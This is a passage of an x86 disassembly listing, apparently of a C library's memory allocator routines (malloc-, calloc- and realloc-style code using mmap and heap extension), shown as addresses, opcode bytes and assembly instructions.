804cb6d: 83 e2 fc and $0xfffffffc,%edx | |
804cb70: 89 d6 mov %edx,%esi | |
804cb72: 2b 74 24 14 sub 0x14(%esp),%esi | |
804cb76: 89 43 0c mov %eax,0xc(%ebx) | |
804cb79: 89 58 08 mov %ebx,0x8(%eax) | |
804cb7c: 83 fe 0f cmp $0xf,%esi | |
804cb7f: 77 07 ja 0x804cb88 | |
804cb81: 83 4c 11 04 01 orl $0x1,0x4(%ecx,%edx,1) | |
804cb86: eb 3f jmp 0x804cbc7 | |
804cb88: 8b 44 24 14 mov 0x14(%esp),%eax | |
804cb8c: 3d ff 00 00 00 cmp $0xff,%eax | |
804cb91: 8d 14 01 lea (%ecx,%eax,1),%edx | |
804cb94: 89 55 08 mov %edx,0x8(%ebp) | |
804cb97: 89 55 0c mov %edx,0xc(%ebp) | |
804cb9a: c7 42 08 74 f2 04 08 movl $0x804f274,0x8(%edx) | |
804cba1: c7 42 0c 74 f2 04 08 movl $0x804f274,0xc(%edx) | |
804cba8: 77 06 ja 0x804cbb0 | |
804cbaa: 89 15 70 f2 04 08 mov %edx,0x804f270 | |
804cbb0: 83 4c 24 14 01 orl $0x1,0x14(%esp) | |
804cbb5: 89 f0 mov %esi,%eax | |
804cbb7: 8b 5c 24 14 mov 0x14(%esp),%ebx | |
804cbbb: 83 c8 01 or $0x1,%eax | |
804cbbe: 89 59 04 mov %ebx,0x4(%ecx) | |
804cbc1: 89 34 32 mov %esi,(%edx,%esi,1) | |
804cbc4: 89 42 04 mov %eax,0x4(%edx) | |
804cbc7: 8d 59 08 lea 0x8(%ecx),%ebx | |
804cbca: e9 fa 03 00 00 jmp 0x804cfc9 | |
804cbcf: 8b 1d 6c f2 04 08 mov 0x804f26c,%ebx | |
804cbd5: 8b 74 24 14 mov 0x14(%esp),%esi | |
804cbd9: 83 c6 10 add $0x10,%esi | |
804cbdc: 8b 4b 04 mov 0x4(%ebx),%ecx | |
804cbdf: 89 74 24 10 mov %esi,0x10(%esp) | |
804cbe3: 83 e1 fc and $0xfffffffc,%ecx | |
804cbe6: 39 f1 cmp %esi,%ecx | |
804cbe8: 72 1c jb 0x804cc06 | |
804cbea: 8b 44 24 14 mov 0x14(%esp),%eax | |
804cbee: 8d 14 03 lea (%ebx,%eax,1),%edx | |
804cbf1: 83 c8 01 or $0x1,%eax | |
804cbf4: 89 15 6c f2 04 08 mov %edx,0x804f26c | |
804cbfa: 89 43 04 mov %eax,0x4(%ebx) | |
804cbfd: 2b 4c 24 14 sub 0x14(%esp),%ecx | |
804cc01: e9 53 03 00 00 jmp 0x804cf59 | |
804cc06: 8b 15 9c f5 04 08 mov 0x804f59c,%edx | |
804cc0c: f6 05 40 f2 04 08 02 testb $0x2,0x804f240 | |
804cc13: 74 25 je 0x804cc3a | |
804cc15: 83 ec 0c sub $0xc,%esp | |
804cc18: 68 40 f2 04 08 push $0x804f240 | |
804cc1d: e8 6b 08 00 00 call 0x804d48d | |
804cc22: 5b pop %ebx | |
804cc23: 8b 44 24 20 mov 0x20(%esp),%eax | |
804cc27: 83 e8 07 sub $0x7,%eax | |
804cc2a: 50 push %eax | |
804cc2b: e8 40 fc ff ff call 0x804c870 | |
804cc30: 83 c4 10 add $0x10,%esp | |
804cc33: 89 c3 mov %eax,%ebx | |
804cc35: e9 8f 03 00 00 jmp 0x804cfc9 | |
804cc3a: 8d 4a ff lea -0x1(%edx),%ecx | |
804cc3d: 8b 5c 24 14 mov 0x14(%esp),%ebx | |
804cc41: 89 4c 24 18 mov %ecx,0x18(%esp) | |
804cc45: 3b 1d 8c f5 04 08 cmp 0x804f58c,%ebx | |
804cc4b: 0f 82 b6 00 00 00 jb 0x804cd07 | |
804cc51: a1 90 f5 04 08 mov 0x804f590,%eax | |
804cc56: 3b 05 94 f5 04 08 cmp 0x804f594,%eax | |
804cc5c: 0f 8d a5 00 00 00 jge 0x804cd07 | |
804cc62: 89 c8 mov %ecx,%eax | |
804cc64: 8d 5c 1a 0a lea 0xa(%edx,%ebx,1),%ebx | |
804cc68: f7 d0 not %eax | |
804cc6a: 21 c3 and %eax,%ebx | |
804cc6c: 3b 5c 24 14 cmp 0x14(%esp),%ebx | |
804cc70: 0f 86 91 00 00 00 jbe 0x804cd07 | |
804cc76: 51 push %ecx | |
804cc77: 51 push %ecx | |
804cc78: 6a 00 push $0x0 | |
804cc7a: 6a 00 push $0x0 | |
804cc7c: 6a 22 push $0x22 | |
804cc7e: 6a 03 push $0x3 | |
804cc80: 53 push %ebx | |
804cc81: 6a 00 push $0x0 | |
804cc83: e8 2c 14 00 00 call 0x804e0b4 | |
804cc88: 83 c4 20 add $0x20,%esp | |
804cc8b: 89 c2 mov %eax,%edx | |
804cc8d: 83 f8 ff cmp $0xffffffff,%eax | |
804cc90: 74 75 je 0x804cd07 | |
804cc92: 89 c1 mov %eax,%ecx | |
804cc94: 83 e1 07 and $0x7,%ecx | |
804cc97: 74 13 je 0x804ccac | |
804cc99: b8 08 00 00 00 mov $0x8,%eax | |
804cc9e: 89 de mov %ebx,%esi | |
804cca0: 29 c8 sub %ecx,%eax | |
804cca2: 01 c2 add %eax,%edx | |
804cca4: 29 c6 sub %eax,%esi | |
804cca6: 89 02 mov %eax,(%edx) | |
804cca8: 89 f0 mov %esi,%eax | |
804ccaa: eb 08 jmp 0x804ccb4 | |
804ccac: c7 00 00 00 00 00 movl $0x0,(%eax) | |
804ccb2: 89 d8 mov %ebx,%eax | |
804ccb4: 83 c8 02 or $0x2,%eax | |
804ccb7: 89 42 04 mov %eax,0x4(%edx) | |
804ccba: a1 90 f5 04 08 mov 0x804f590,%eax | |
804ccbf: 40 inc %eax | |
804ccc0: a3 90 f5 04 08 mov %eax,0x804f590 | |
804ccc5: 3b 05 98 f5 04 08 cmp 0x804f598,%eax | |
804cccb: 7e 05 jle 0x804ccd2 | |
804cccd: a3 98 f5 04 08 mov %eax,0x804f598 | |
804ccd2: a1 a4 f5 04 08 mov 0x804f5a4,%eax | |
804ccd7: 01 d8 add %ebx,%eax | |
804ccd9: a3 a4 f5 04 08 mov %eax,0x804f5a4 | |
804ccde: 3b 05 b0 f5 04 08 cmp 0x804f5b0,%eax | |
804cce4: 76 05 jbe 0x804cceb | |
804cce6: a3 b0 f5 04 08 mov %eax,0x804f5b0 | |
804cceb: 03 05 a8 f5 04 08 add 0x804f5a8,%eax | |
804ccf1: 3b 05 b4 f5 04 08 cmp 0x804f5b4,%eax | |
804ccf7: 0f 86 51 fc ff ff jbe 0x804c94e | |
804ccfd: a3 b4 f5 04 08 mov %eax,0x804f5b4 | |
804cd02: e9 47 fc ff ff jmp 0x804c94e | |
804cd07: a1 6c f2 04 08 mov 0x804f26c,%eax | |
804cd0c: 89 44 24 1c mov %eax,0x1c(%esp) | |
804cd10: 8b 68 04 mov 0x4(%eax),%ebp | |
804cd13: 8b 44 24 14 mov 0x14(%esp),%eax | |
804cd17: 83 c0 10 add $0x10,%eax | |
804cd1a: 83 e5 fc and $0xfffffffc,%ebp | |
804cd1d: 03 05 88 f5 04 08 add 0x804f588,%eax | |
804cd23: f6 05 a0 f5 04 08 01 testb $0x1,0x804f5a0 | |
804cd2a: 74 02 je 0x804cd2e | |
804cd2c: 29 e8 sub %ebp,%eax | |
804cd2e: 8b 54 24 18 mov 0x18(%esp),%edx | |
804cd32: 03 44 24 18 add 0x18(%esp),%eax | |
804cd36: f7 d2 not %edx | |
804cd38: 89 d6 mov %edx,%esi | |
804cd3a: 89 54 24 20 mov %edx,0x20(%esp) | |
804cd3e: 21 c6 and %eax,%esi | |
804cd40: 7e 16 jle 0x804cd58 | |
804cd42: 83 ec 0c sub $0xc,%esp | |
804cd45: 56 push %esi | |
804cd46: e8 1a 18 00 00 call 0x804e565 | |
804cd4b: 83 c4 10 add $0x10,%esp | |
804cd4e: 83 ca ff or $0xffffffff,%edx | |
804cd51: 89 c3 mov %eax,%ebx | |
804cd53: 83 f8 ff cmp $0xffffffff,%eax | |
804cd56: 75 56 jne 0x804cdae | |
804cd58: f6 05 a0 f5 04 08 01 testb $0x1,0x804f5a0 | |
804cd5f: 74 0c je 0x804cd6d | |
804cd61: 8b 44 24 18 mov 0x18(%esp),%eax | |
804cd65: 01 e8 add %ebp,%eax | |
804cd67: 01 c6 add %eax,%esi | |
804cd69: 23 74 24 20 and 0x20(%esp),%esi | |
804cd6d: 81 fe ff ff 0f 00 cmp $0xfffff,%esi | |
804cd73: 77 05 ja 0x804cd7a | |
804cd75: be 00 00 10 00 mov $0x100000,%esi | |
804cd7a: 3b 74 24 14 cmp 0x14(%esp),%esi | |
804cd7e: 0f 86 38 02 00 00 jbe 0x804cfbc | |
804cd84: 52 push %edx | |
804cd85: 52 push %edx | |
804cd86: 6a 00 push $0x0 | |
804cd88: 6a 00 push $0x0 | |
804cd8a: 6a 22 push $0x22 | |
804cd8c: 6a 03 push $0x3 | |
804cd8e: 56 push %esi | |
804cd8f: 6a 00 push $0x0 | |
804cd91: e8 1e 13 00 00 call 0x804e0b4 | |
804cd96: 83 c4 20 add $0x20,%esp | |
804cd99: 89 c3 mov %eax,%ebx | |
804cd9b: 83 f8 ff cmp $0xffffffff,%eax | |
804cd9e: 0f 84 18 02 00 00 je 0x804cfbc | |
804cda4: 83 25 a0 f5 04 08 fe andl $0xfffffffe,0x804f5a0 | |
804cdab: 8d 14 30 lea (%eax,%esi,1),%edx | |
804cdae: 83 fb ff cmp $0xffffffff,%ebx | |
804cdb1: 0f 84 05 02 00 00 je 0x804cfbc | |
804cdb7: 8b 4c 24 1c mov 0x1c(%esp),%ecx | |
804cdbb: 01 35 a8 f5 04 08 add %esi,0x804f5a8 | |
804cdc1: 01 e9 add %ebp,%ecx | |
804cdc3: 39 cb cmp %ecx,%ebx | |
804cdc5: 75 17 jne 0x804cdde | |
804cdc7: 83 fa ff cmp $0xffffffff,%edx | |
804cdca: 75 12 jne 0x804cdde | |
804cdcc: 8d 04 2e lea (%esi,%ebp,1),%eax | |
804cdcf: 8b 4c 24 1c mov 0x1c(%esp),%ecx | |
804cdd3: 83 c8 01 or $0x1,%eax | |
804cdd6: 89 41 04 mov %eax,0x4(%ecx) | |
804cdd9: e9 2d 01 00 00 jmp 0x804cf0b | |
804cdde: a1 a0 f5 04 08 mov 0x804f5a0,%eax | |
804cde3: a8 01 test $0x1,%al | |
804cde5: 74 10 je 0x804cdf7 | |
804cde7: 85 ed test %ebp,%ebp | |
804cde9: 74 0c je 0x804cdf7 | |
804cdeb: 39 cb cmp %ecx,%ebx | |
804cded: 73 08 jae 0x804cdf7 | |
804cdef: 83 e0 fe and $0xfffffffe,%eax | |
804cdf2: a3 a0 f5 04 08 mov %eax,0x804f5a0 | |
804cdf7: f6 05 a0 f5 04 08 01 testb $0x1,0x804f5a0 | |
804cdfe: 74 75 je 0x804ce75 | |
804ce00: 85 ed test %ebp,%ebp | |
804ce02: 74 0a je 0x804ce0e | |
804ce04: 89 d8 mov %ebx,%eax | |
804ce06: 29 c8 sub %ecx,%eax | |
804ce08: 01 05 a8 f5 04 08 add %eax,0x804f5a8 | |
804ce0e: 89 da mov %ebx,%edx | |
804ce10: 83 e2 07 and $0x7,%edx | |
804ce13: 75 06 jne 0x804ce1b | |
804ce15: 89 df mov %ebx,%edi | |
804ce17: 31 c0 xor %eax,%eax | |
804ce19: eb 0a jmp 0x804ce25 | |
804ce1b: b8 08 00 00 00 mov $0x8,%eax | |
804ce20: 29 d0 sub %edx,%eax | |
804ce22: 8d 3c 03 lea (%ebx,%eax,1),%edi | |
804ce25: 8d 34 33 lea (%ebx,%esi,1),%esi | |
804ce28: 8d 0c 28 lea (%eax,%ebp,1),%ecx | |
804ce2b: 89 f2 mov %esi,%edx | |
804ce2d: 89 74 24 28 mov %esi,0x28(%esp) | |
804ce31: 01 ca add %ecx,%edx | |
804ce33: 8b 74 24 18 mov 0x18(%esp),%esi | |
804ce37: 8d 04 32 lea (%edx,%esi,1),%eax | |
804ce3a: 23 44 24 20 and 0x20(%esp),%eax | |
804ce3e: 83 ec 0c sub $0xc,%esp | |
804ce41: 29 d0 sub %edx,%eax | |
804ce43: 8d 34 01 lea (%ecx,%eax,1),%esi | |
804ce46: 56 push %esi | |
804ce47: e8 19 17 00 00 call 0x804e565 | |
804ce4c: 83 c4 10 add $0x10,%esp | |
804ce4f: 89 c2 mov %eax,%edx | |
804ce51: 83 f8 ff cmp $0xffffffff,%eax | |
804ce54: 75 0e jne 0x804ce64 | |
804ce56: 83 ec 0c sub $0xc,%esp | |
804ce59: 6a 00 push $0x0 | |
804ce5b: e8 05 17 00 00 call 0x804e565 | |
804ce60: 89 c2 mov %eax,%edx | |
804ce62: eb 34 jmp 0x804ce98 | |
804ce64: 39 d8 cmp %ebx,%eax | |
804ce66: 73 35 jae 0x804ce9d | |
804ce68: 83 25 a0 f5 04 08 fe andl $0xfffffffe,0x804f5a0 | |
804ce6f: 8b 54 24 28 mov 0x28(%esp),%edx | |
804ce73: eb 07 jmp 0x804ce7c | |
804ce75: 83 fa ff cmp $0xffffffff,%edx | |
804ce78: 74 06 je 0x804ce80 | |
804ce7a: 89 df mov %ebx,%edi | |
804ce7c: 31 f6 xor %esi,%esi | |
804ce7e: eb 1d jmp 0x804ce9d | |
804ce80: 83 ec 0c sub $0xc,%esp | |
804ce83: 89 df mov %ebx,%edi | |
804ce85: 6a 00 push $0x0 | |
804ce87: e8 d9 16 00 00 call 0x804e565 | |
804ce8c: 89 c2 mov %eax,%edx | |
804ce8e: 29 d8 sub %ebx,%eax | |
804ce90: 29 f0 sub %esi,%eax | |
804ce92: 01 05 a8 f5 04 08 add %eax,0x804f5a8 | |
804ce98: 31 f6 xor %esi,%esi | |
804ce9a: 83 c4 10 add $0x10,%esp | |
804ce9d: 83 fa ff cmp $0xffffffff,%edx | |
804cea0: 74 69 je 0x804cf0b | |
804cea2: 29 fa sub %edi,%edx | |
804cea4: 89 3d 6c f2 04 08 mov %edi,0x804f26c | |
804ceaa: 8d 04 32 lea (%edx,%esi,1),%eax | |
804cead: 83 c8 01 or $0x1,%eax | |
804ceb0: 89 47 04 mov %eax,0x4(%edi) | |
804ceb3: 01 35 a8 f5 04 08 add %esi,0x804f5a8 | |
804ceb9: 85 ed test %ebp,%ebp | |
804cebb: 74 4e je 0x804cf0b | |
804cebd: 8d 45 f4 lea -0xc(%ebp),%eax | |
804cec0: 8b 4c 24 1c mov 0x1c(%esp),%ecx | |
804cec4: 83 e0 f8 and $0xfffffff8,%eax | |
804cec7: 89 c2 mov %eax,%edx | |
804cec9: 83 ca 01 or $0x1,%edx | |
804cecc: 83 f8 0f cmp $0xf,%eax | |
804cecf: 89 51 04 mov %edx,0x4(%ecx) | |
804ced2: c7 44 01 04 05 00 00 movl $0x5,0x4(%ecx,%eax,1) | |
804ced9: 00 | |
804ceda: c7 44 01 08 05 00 00 movl $0x5,0x8(%ecx,%eax,1) | |
804cee1: 00 | |
804cee2: 76 27 jbe 0x804cf0b | |
804cee4: 83 ec 0c sub $0xc,%esp | |
804cee7: 89 c8 mov %ecx,%eax | |
804cee9: 83 c0 08 add $0x8,%eax | |
804ceec: 8b 1d 84 f5 04 08 mov 0x804f584,%ebx | |
804cef2: 50 push %eax | |
804cef3: c7 05 84 f5 04 08 ff movl $0xffffffff,0x804f584 | |
804cefa: ff ff ff | |
804cefd: e8 33 07 00 00 call 0x804d635 | |
804cf02: 89 1d 84 f5 04 08 mov %ebx,0x804f584 | |
804cf08: 83 c4 10 add $0x10,%esp | |
804cf0b: a1 a8 f5 04 08 mov 0x804f5a8,%eax | |
804cf10: 3b 05 ac f5 04 08 cmp 0x804f5ac,%eax | |
804cf16: 76 05 jbe 0x804cf1d | |
804cf18: a3 ac f5 04 08 mov %eax,0x804f5ac | |
804cf1d: 03 05 a4 f5 04 08 add 0x804f5a4,%eax | |
804cf23: 3b 05 b4 f5 04 08 cmp 0x804f5b4,%eax | |
804cf29: 76 05 jbe 0x804cf30 | |
804cf2b: a3 b4 f5 04 08 mov %eax,0x804f5b4 | |
804cf30: 8b 1d 6c f2 04 08 mov 0x804f26c,%ebx | |
804cf36: 8b 4b 04 mov 0x4(%ebx),%ecx | |
804cf39: 83 e1 fc and $0xfffffffc,%ecx | |
804cf3c: 3b 4c 24 10 cmp 0x10(%esp),%ecx | |
804cf40: 72 7a jb 0x804cfbc | |
804cf42: 8b 74 24 14 mov 0x14(%esp),%esi | |
804cf46: 89 f0 mov %esi,%eax | |
804cf48: 29 f1 sub %esi,%ecx | |
804cf4a: 8d 14 33 lea (%ebx,%esi,1),%edx | |
804cf4d: 83 c8 01 or $0x1,%eax | |
804cf50: 89 15 6c f2 04 08 mov %edx,0x804f26c | |
804cf56: 89 43 04 mov %eax,0x4(%ebx) | |
804cf59: 83 c9 01 or $0x1,%ecx | |
804cf5c: 83 c3 08 add $0x8,%ebx | |
804cf5f: 89 4a 04 mov %ecx,0x4(%edx) | |
804cf62: eb 65 jmp 0x804cfc9 | |
804cf64: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
804cf68: 89 f8 mov %edi,%eax | |
804cf6a: 2b 44 24 14 sub 0x14(%esp),%eax | |
804cf6e: 8d 54 0d 00 lea 0x0(%ebp,%ecx,1),%edx | |
804cf72: 83 c9 01 or $0x1,%ecx | |
804cf75: 89 15 70 f2 04 08 mov %edx,0x804f270 | |
804cf7b: 89 4d 04 mov %ecx,0x4(%ebp) | |
804cf7e: 89 c1 mov %eax,%ecx | |
804cf80: 89 15 7c f2 04 08 mov %edx,0x804f27c | |
804cf86: 83 c9 01 or $0x1,%ecx | |
804cf89: 89 15 80 f2 04 08 mov %edx,0x804f280 | |
804cf8f: c7 42 08 74 f2 04 08 movl $0x804f274,0x8(%edx) | |
804cf96: c7 42 0c 74 f2 04 08 movl $0x804f274,0xc(%edx) | |
804cf9d: 89 4a 04 mov %ecx,0x4(%edx) | |
804cfa0: 89 04 02 mov %eax,(%edx,%eax,1) | |
804cfa3: eb 09 jmp 0x804cfae | |
804cfa5: 8b 5c 24 14 mov 0x14(%esp),%ebx | |
804cfa9: 83 4c 1d 04 01 orl $0x1,0x4(%ebp,%ebx,1) | |
804cfae: 8d 5d 08 lea 0x8(%ebp),%ebx | |
804cfb1: eb 16 jmp 0x804cfc9 | |
804cfb3: 83 4c 18 04 01 orl $0x1,0x4(%eax,%ebx,1) | |
804cfb8: 89 cb mov %ecx,%ebx | |
804cfba: eb 0d jmp 0x804cfc9 | |
804cfbc: e8 f5 f5 ff ff call 0x804c5b6 | |
804cfc1: 31 db xor %ebx,%ebx | |
804cfc3: c7 00 0c 00 00 00 movl $0xc,(%eax) | |
804cfc9: 50 push %eax | |
804cfca: 50 push %eax | |
804cfcb: 6a 01 push $0x1 | |
804cfcd: 8d 44 24 38 lea 0x38(%esp),%eax | |
804cfd1: 50 push %eax | |
804cfd2: e8 c5 0d 00 00 call 0x804dd9c | |
804cfd7: 83 c4 10 add $0x10,%esp | |
804cfda: 83 c4 3c add $0x3c,%esp | |
804cfdd: 89 d8 mov %ebx,%eax | |
804cfdf: 5b pop %ebx | |
804cfe0: 5e pop %esi | |
804cfe1: 5f pop %edi | |
804cfe2: 5d pop %ebp | |
804cfe3: c3 ret | |
804cfe4: 57 push %edi | |
804cfe5: 56 push %esi | |
804cfe6: 53 push %ebx | |
804cfe7: 83 ec 10 sub $0x10,%esp | |
804cfea: 8b 54 24 20 mov 0x20(%esp),%edx | |
804cfee: 8b 4c 24 24 mov 0x24(%esp),%ecx | |
804cff2: 89 d3 mov %edx,%ebx | |
804cff4: 0f af d9 imul %ecx,%ebx | |
804cff7: 85 d2 test %edx,%edx | |
804cff9: 74 1e je 0x804d019 | |
804cffb: 89 d7 mov %edx,%edi | |
804cffd: 89 d8 mov %ebx,%eax | |
804cfff: 31 d2 xor %edx,%edx | |
804d001: f7 f7 div %edi | |
804d003: 39 c1 cmp %eax,%ecx | |
804d005: 74 12 je 0x804d019 | |
804d007: e8 aa f5 ff ff call 0x804c5b6 | |
804d00c: 31 db xor %ebx,%ebx | |
804d00e: c7 00 0c 00 00 00 movl $0xc,(%eax) | |
804d014: e9 b6 00 00 00 jmp 0x804d0cf | |
804d019: 56 push %esi | |
804d01a: 68 38 f0 04 08 push $0x804f038 | |
804d01f: 68 99 dd 04 08 push $0x804dd99 | |
804d024: 8d 44 24 0c lea 0xc(%esp),%eax | |
804d028: 50 push %eax | |
804d029: e8 6e 0d 00 00 call 0x804dd9c | |
804d02e: c7 04 24 38 f0 04 08 movl $0x804f038,(%esp) | |
804d035: e8 5f 0d 00 00 call 0x804dd99 | |
804d03a: 89 1c 24 mov %ebx,(%esp) | |
804d03d: e8 2e f8 ff ff call 0x804c870 | |
804d042: 83 c4 10 add $0x10,%esp | |
804d045: 89 c3 mov %eax,%ebx | |
804d047: 85 c0 test %eax,%eax | |
804d049: 74 73 je 0x804d0be | |
804d04b: 8b 40 fc mov -0x4(%eax),%eax | |
804d04e: a8 02 test $0x2,%al | |
804d050: 75 6c jne 0x804d0be | |
804d052: 83 e0 fc and $0xfffffffc,%eax | |
804d055: 8d 50 fc lea -0x4(%eax),%edx | |
804d058: 89 d0 mov %edx,%eax | |
804d05a: c1 e8 02 shr $0x2,%eax | |
804d05d: 83 f8 09 cmp $0x9,%eax | |
804d060: 76 0f jbe 0x804d071 | |
804d062: 51 push %ecx | |
804d063: 52 push %edx | |
804d064: 6a 00 push $0x0 | |
804d066: 53 push %ebx | |
804d067: e8 9b f5 ff ff call 0x804c607 | |
804d06c: 83 c4 10 add $0x10,%esp | |
804d06f: eb 4d jmp 0x804d0be | |
804d071: c7 03 00 00 00 00 movl $0x0,(%ebx) | |
804d077: c7 43 04 00 00 00 00 movl $0x0,0x4(%ebx) | |
804d07e: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx) | |
804d085: 83 f8 04 cmp $0x4,%eax | |
804d088: 76 34 jbe 0x804d0be | |
804d08a: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) | |
804d091: c7 43 10 00 00 00 00 movl $0x0,0x10(%ebx) | |
804d098: 83 f8 06 cmp $0x6,%eax | |
804d09b: 76 21 jbe 0x804d0be | |
804d09d: c7 43 14 00 00 00 00 movl $0x0,0x14(%ebx) | |
804d0a4: c7 43 18 00 00 00 00 movl $0x0,0x18(%ebx) | |
804d0ab: 83 f8 08 cmp $0x8,%eax | |
804d0ae: 76 0e jbe 0x804d0be | |
804d0b0: c7 43 1c 00 00 00 00 movl $0x0,0x1c(%ebx) | |
804d0b7: c7 43 20 00 00 00 00 movl $0x0,0x20(%ebx) | |
804d0be: 50 push %eax | |
804d0bf: 50 push %eax | |
804d0c0: 6a 01 push $0x1 | |
804d0c2: 8d 44 24 0c lea 0xc(%esp),%eax | |
804d0c6: 50 push %eax | |
804d0c7: e8 d0 0c 00 00 call 0x804dd9c | |
804d0cc: 83 c4 10 add $0x10,%esp | |
804d0cf: 83 c4 10 add $0x10,%esp | |
804d0d2: 89 d8 mov %ebx,%eax | |
804d0d4: 5b pop %ebx | |
804d0d5: 5e pop %esi | |
804d0d6: 5f pop %edi | |
804d0d7: c3 ret | |
804d0d8: 55 push %ebp | |
804d0d9: 57 push %edi | |
804d0da: 56 push %esi | |
804d0db: 53 push %ebx | |
804d0dc: 83 ec 1c sub $0x1c,%esp | |
804d0df: 8b 5c 24 34 mov 0x34(%esp),%ebx | |
804d0e3: 83 7c 24 30 00 cmpl $0x0,0x30(%esp) | |
804d0e8: 75 10 jne 0x804d0fa | |
804d0ea: 83 ec 0c sub $0xc,%esp | |
804d0ed: 53 push %ebx | |
804d0ee: e8 7d f7 ff ff call 0x804c870 | |
804d0f3: 89 c3 mov %eax,%ebx | |
804d0f5: e9 f9 02 00 00 jmp 0x804d3f3 | |
804d0fa: 85 db test %ebx,%ebx | |
804d0fc: 75 11 jne 0x804d10f | |
804d0fe: 83 ec 0c sub $0xc,%esp | |
804d101: ff 74 24 3c pushl 0x3c(%esp) | |
804d105: e8 2b 05 00 00 call 0x804d635 | |
804d10a: e9 e4 02 00 00 jmp 0x804d3f3 | |
804d10f: 57 push %edi | |
804d110: 68 38 f0 04 08 push $0x804f038 | |
804d115: 68 99 dd 04 08 push $0x804dd99 | |
804d11a: 8d 44 24 18 lea 0x18(%esp),%eax | |
804d11e: 50 push %eax | |
804d11f: e8 78 0c 00 00 call 0x804dd9c | |
804d124: c7 04 24 38 f0 04 08 movl $0x804f038,(%esp) | |
804d12b: e8 69 0c 00 00 call 0x804dd99 | |
804d130: 83 c4 10 add $0x10,%esp | |
804d133: 83 fb df cmp $0xffffffdf,%ebx | |
804d136: 76 12 jbe 0x804d14a | |
804d138: e8 79 f4 ff ff call 0x804c5b6 | |
804d13d: 31 db xor %ebx,%ebx | |
804d13f: c7 00 0c 00 00 00 movl $0xc,(%eax) | |
804d145: e9 ac 02 00 00 jmp 0x804d3f6 | |
804d14a: 8d 43 0b lea 0xb(%ebx),%eax | |
804d14d: c7 44 24 04 10 00 00 movl $0x10,0x4(%esp) | |
804d154: 00 | |
804d155: 83 f8 0f cmp $0xf,%eax | |
804d158: 76 07 jbe 0x804d161 | |
804d15a: 83 e0 f8 and $0xfffffff8,%eax | |
804d15d: 89 44 24 04 mov %eax,0x4(%esp) | |
804d161: 8b 7c 24 30 mov 0x30(%esp),%edi | |
804d165: 83 ef 08 sub $0x8,%edi | |
804d168: 8b 57 04 mov 0x4(%edi),%edx | |
804d16b: 89 d0 mov %edx,%eax | |
804d16d: 83 e0 fc and $0xfffffffc,%eax | |
804d170: 89 44 24 08 mov %eax,0x8(%esp) | |
804d174: f6 c2 02 test $0x2,%dl | |
804d177: 0f 85 94 01 00 00 jne 0x804d311 | |
804d17d: 8b 4c 24 04 mov 0x4(%esp),%ecx | |
804d181: 89 c3 mov %eax,%ebx | |
804d183: 39 c8 cmp %ecx,%eax | |
804d185: 0f 83 31 01 00 00 jae 0x804d2bc | |
804d18b: 8d 34 07 lea (%edi,%eax,1),%esi | |
804d18e: 3b 35 6c f2 04 08 cmp 0x804f26c,%esi | |
804d194: 75 38 jne 0x804d1ce | |
804d196: 8b 46 04 mov 0x4(%esi),%eax | |
804d199: 89 d9 mov %ebx,%ecx | |
804d19b: 83 e0 fc and $0xfffffffc,%eax | |
804d19e: 01 c1 add %eax,%ecx | |
804d1a0: 8b 44 24 04 mov 0x4(%esp),%eax | |
804d1a4: 83 c0 10 add $0x10,%eax | |
804d1a7: 39 c1 cmp %eax,%ecx | |
804d1a9: 72 61 jb 0x804d20c | |
804d1ab: 83 e2 01 and $0x1,%edx | |
804d1ae: 0b 54 24 04 or 0x4(%esp),%edx | |
804d1b2: 89 57 04 mov %edx,0x4(%edi) | |
804d1b5: 8b 74 24 04 mov 0x4(%esp),%esi | |
804d1b9: 29 f1 sub %esi,%ecx | |
804d1bb: 8d 04 37 lea (%edi,%esi,1),%eax | |
804d1be: 83 c9 01 or $0x1,%ecx | |
804d1c1: a3 6c f2 04 08 mov %eax,0x804f26c | |
804d1c6: 89 48 04 mov %ecx,0x4(%eax) | |
804d1c9: e9 13 02 00 00 jmp 0x804d3e1 | |
804d1ce: 8b 56 04 mov 0x4(%esi),%edx | |
804d1d1: 89 d0 mov %edx,%eax | |
804d1d3: 83 e0 fe and $0xfffffffe,%eax | |
804d1d6: f6 44 06 04 01 testb $0x1,0x4(%esi,%eax,1) | |
804d1db: 75 2f jne 0x804d20c | |
804d1dd: 83 e2 fc and $0xfffffffc,%edx | |
804d1e0: 8b 5c 24 08 mov 0x8(%esp),%ebx | |
804d1e4: 01 d3 add %edx,%ebx | |
804d1e6: 3b 5c 24 04 cmp 0x4(%esp),%ebx | |
804d1ea: 72 20 jb 0x804d20c | |
804d1ec: 8b 56 08 mov 0x8(%esi),%edx | |
804d1ef: 8b 46 0c mov 0xc(%esi),%eax | |
804d1f2: 39 72 0c cmp %esi,0xc(%edx) | |
804d1f5: 75 05 jne 0x804d1fc | |
804d1f7: 39 70 08 cmp %esi,0x8(%eax) | |
804d1fa: 74 05 je 0x804d201 | |
804d1fc: e8 d0 05 00 00 call 0x804d7d1 | |
804d201: 89 42 0c mov %eax,0xc(%edx) | |
804d204: 89 50 08 mov %edx,0x8(%eax) | |
804d207: e9 b0 00 00 00 jmp 0x804d2bc | |
804d20c: 83 ec 0c sub $0xc,%esp | |
804d20f: 8b 44 24 10 mov 0x10(%esp),%eax | |
804d213: 83 e8 07 sub $0x7,%eax | |
804d216: 50 push %eax | |
804d217: e8 54 f6 ff ff call 0x804c870 | |
804d21c: 83 c4 10 add $0x10,%esp | |
804d21f: 89 c2 mov %eax,%edx | |
804d221: 85 c0 test %eax,%eax | |
804d223: 0f 84 b4 01 00 00 je 0x804d3dd | |
804d229: 8d 58 f8 lea -0x8(%eax),%ebx | |
804d22c: 39 f3 cmp %esi,%ebx | |
804d22e: 8b 43 04 mov 0x4(%ebx),%eax | |
804d231: 75 0c jne 0x804d23f | |
804d233: 83 e0 fc and $0xfffffffc,%eax | |
804d236: 8b 54 24 08 mov 0x8(%esp),%edx | |
804d23a: 8d 1c 10 lea (%eax,%edx,1),%ebx | |
804d23d: eb 7d jmp 0x804d2bc | |
804d23f: 8b 44 24 08 mov 0x8(%esp),%eax | |
804d243: 83 e8 04 sub $0x4,%eax | |
804d246: 89 c1 mov %eax,%ecx | |
804d248: c1 e9 02 shr $0x2,%ecx | |
804d24b: 83 f9 09 cmp $0x9,%ecx | |
804d24e: 76 11 jbe 0x804d261 | |
804d250: 56 push %esi | |
804d251: 50 push %eax | |
804d252: ff 74 24 38 pushl 0x38(%esp) | |
804d256: 52 push %edx | |
804d257: e8 57 14 00 00 call 0x804e6b3 | |
804d25c: 83 c4 10 add $0x10,%esp | |
